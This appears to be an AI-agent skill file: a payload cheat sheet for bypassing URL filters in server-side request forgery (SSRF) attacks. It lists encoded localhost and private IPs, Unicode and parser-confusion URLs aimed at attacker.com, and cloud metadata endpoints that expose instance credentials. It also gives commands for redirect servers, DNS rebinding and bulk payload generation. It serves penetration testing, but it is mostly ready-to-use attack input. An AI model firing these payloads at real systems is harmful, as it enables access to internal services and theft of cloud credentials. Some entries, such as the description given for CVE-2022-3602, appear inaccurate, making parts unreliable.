SSRF URL Format Bypass
A comprehensive guide to bypassing URL validation filters in Server-Side Request Forgery (SSRF) attacks. Use this skill to generate payloads, understand parsing differences, and craft bypasses for various security controls.
When to Use This Skill
- Testing for SSRF vulnerabilities in web applications
- Bypassing URL allowlists or blocklists
- Reaching localhost/internal hosts through filtered endpoints
- Accessing cloud metadata services (169.254.169.254)
- Understanding URL parsing differences between libraries
- Generating payload wordlists for fuzzing
Localhost Bypass Techniques
Numeric IP Variations
# Basic localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0
http://0.0.0.0:80
http://localhost:80
# CIDR bypass (entire 127.0.0.0/8 range)
http://127.1:80
http://127.0.1.3
http://127.0.0.0
http://127.127.127.127
# IPv6 localhost
http://[::]:80/
http://[::]:25/ # SMTP
http://[::]:3128/ # Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/
Numeric Encoding Bypasses
# Decimal bypass
http://2130706433/ # = 127.0.0.1
http://3232235521/ # = 192.168.0.1
http://3232235777/ # = 192.168.1.1
# Octal bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
# Hexadecimal bypass
http://0x7f000001/ # = 127.0.0.1
http://0xc0a80014/ # = 192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Mixed encodings
169.254.43518 # Partial Decimal (Class B)
0xA9.254.0251.0376 # hex, decimal, octal mixed
# Add leading zeros
127.000000000000.1
Unicode and Special Character Bypasses
# Unicode full-width dots
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
# Unicode circled numbers
http://①②⑦.⓪.⓪.⓪
# Unicode domain characters
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# URL-encoded variants
http://0:@0/ # → http://localhost/
DNS-Based Localhost
# nip.io service (IP in domain)
127.0.0.1.nip.io
192.168.1.1.nip.io
# Custom DNS
localtest.me # = 127.0.0.1
spoofed.burpcollaborator.net
# Subdomain tricks
customer1.app.localhost.my.company.127.0.0.1.nip.io
# Known localhost mappings
mail.ebc.apple.com # = 127.0.0.6
bugbounty.dod.network # = 127.0.0.2
1ynrnhl.xip.io # = 169.254.169.254
Domain Parser Bypasses
Exploiting differences in how URL parsers handle malformed URLs:
# Missing slashes
https:attacker.com
https:/attacker.com
http:/\attacker.com
https:/\attacker.com
//attacker.com
# Backslash confusion
/\attacker.com/
/\attacker.com/
# Fragment-based
#attacker.com
#%20@attacker.com
%0D%0A/attacker.com
# Null byte injection
attacker%00.com
# Double-encoded fragment
attacker.com%2523@victim # bypasses split("#")
# Unicode domain
attacker%E3%80%82com
attacker。com
# Userinfo confusion
http://169.254.1698.254\@attacker.com
Domain Confusion Techniques
When you need to make the application think it's accessing one domain while actually reaching another:
# Basic confusion patterns
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
# Advanced confusion
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\.{domain}
https://attacker.com/.{domain}
# Colon + backslash (CVE-2025-0454)
http://localhost:\@google.com/../
# Parameter pollution
next={domain}&next=attacker.com
# Unicode division sign
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
Path and Extension Bypasses
When the URL must end with a specific path or extension:
# Fragment bypass (fragments aren't sent to server)
https://metadata/vulnerable/path#/expected/path
https://metadata/vulnerable/path#.extension
# Path traversal
https://metadata/expected/path/..%2f..%2f/vulnerable/path
Redirect-Based Bypass
When the server filters the original request but follows redirects:
- Set up a redirect server that responds with 302 to your target
- Point the SSRF to your redirect server
- The server follows the redirect to the filtered target
Use the scripts/ssrf-redirector.py script to create a redirect server:
python3 scripts/ssrf-redirector.py 8000 http://127.0.0.1/
Then use http://your-redirect-server:8000/ in the SSRF parameter.
DNS Rebinding Bypass (2025+)
Even when filters perform a single DNS resolution, you can rebind between lookup and connection:
- Point domain to public IP to pass allowlist check
- Use low TTL or authoritative server you control
- Rebind to internal IP (127.0.0.1, 169.254.169.254) before real request
Use Singularity (nccgroup/singularity) to automate:
python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080
IPv6 Zone Identifier Trick
Some filters strip IPv6 brackets but not zone identifiers:
http://[fe80::1%25eth0]/ # %25 = encoded '%'
http://[fe80::a9ff:fe00:1%25en0]/ # macOS style
The %25 decodes to %, creating fe80::1%eth0 which some parsers don't recognize as localhost.
Recent CVEs and Parsing Issues
| Year | CVE | Component | Key Bypass |
|---|---|---|---|
| 2025 | CVE-2025-0454 | Python requests/urllib | http://localhost:\@google.com/../ |
| 2025 | CVE-2025-2691 | Node nossrf | Hostname resolves to private IP |
| 2024 | CVE-2024-29415 | Node ip package | 0127.0.0.1 classified as public |
| 2024 | CVE-2024-22243 | Spring UriComponentsBuilder | [ in userinfo |
| 2023 | CVE-2023-27592 | urllib3 <1.26.15 | Backslash confusion |
| 2022 | CVE-2022-3602 | OpenSSL | Dotless domain confusion |
Tools and Helpers
SSRF-PayloadMaker
Generate 80k+ bypass combinations automatically:
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
PortSwigger URL Validation Bypass
Use the PortSwigger cheat sheet to generate custom wordlists based on allowed and attacker hosts.
Burp Extensions
- Burp-Encode-IP: Implements IP formatting bypasses
- recollapse: Generate regex bypass variations
Quick Reference: Cloud Metadata URLs
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
# GCP
http://169.254.169.254/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance/
# DigitalOcean
http://169.254.169.254/metadata/v1/
Workflow
- Identify the filter: Test basic localhost (127.0.0.1, localhost)
- Try numeric encodings: Decimal, octal, hex variations
- Test domain confusion: Use @, #, and path tricks
- Use redirect bypass: If direct access is blocked
- Generate wordlists: Use SSRF-PayloadMaker for comprehensive testing
- Check for CVEs: Test known vulnerable library patterns
Important Notes
- Always test in authorized environments only
- URL parsing differs between browsers, libraries, and frameworks
- What works in one context may not work in another
- Combine multiple techniques for complex filters
- Document findings for responsible disclosure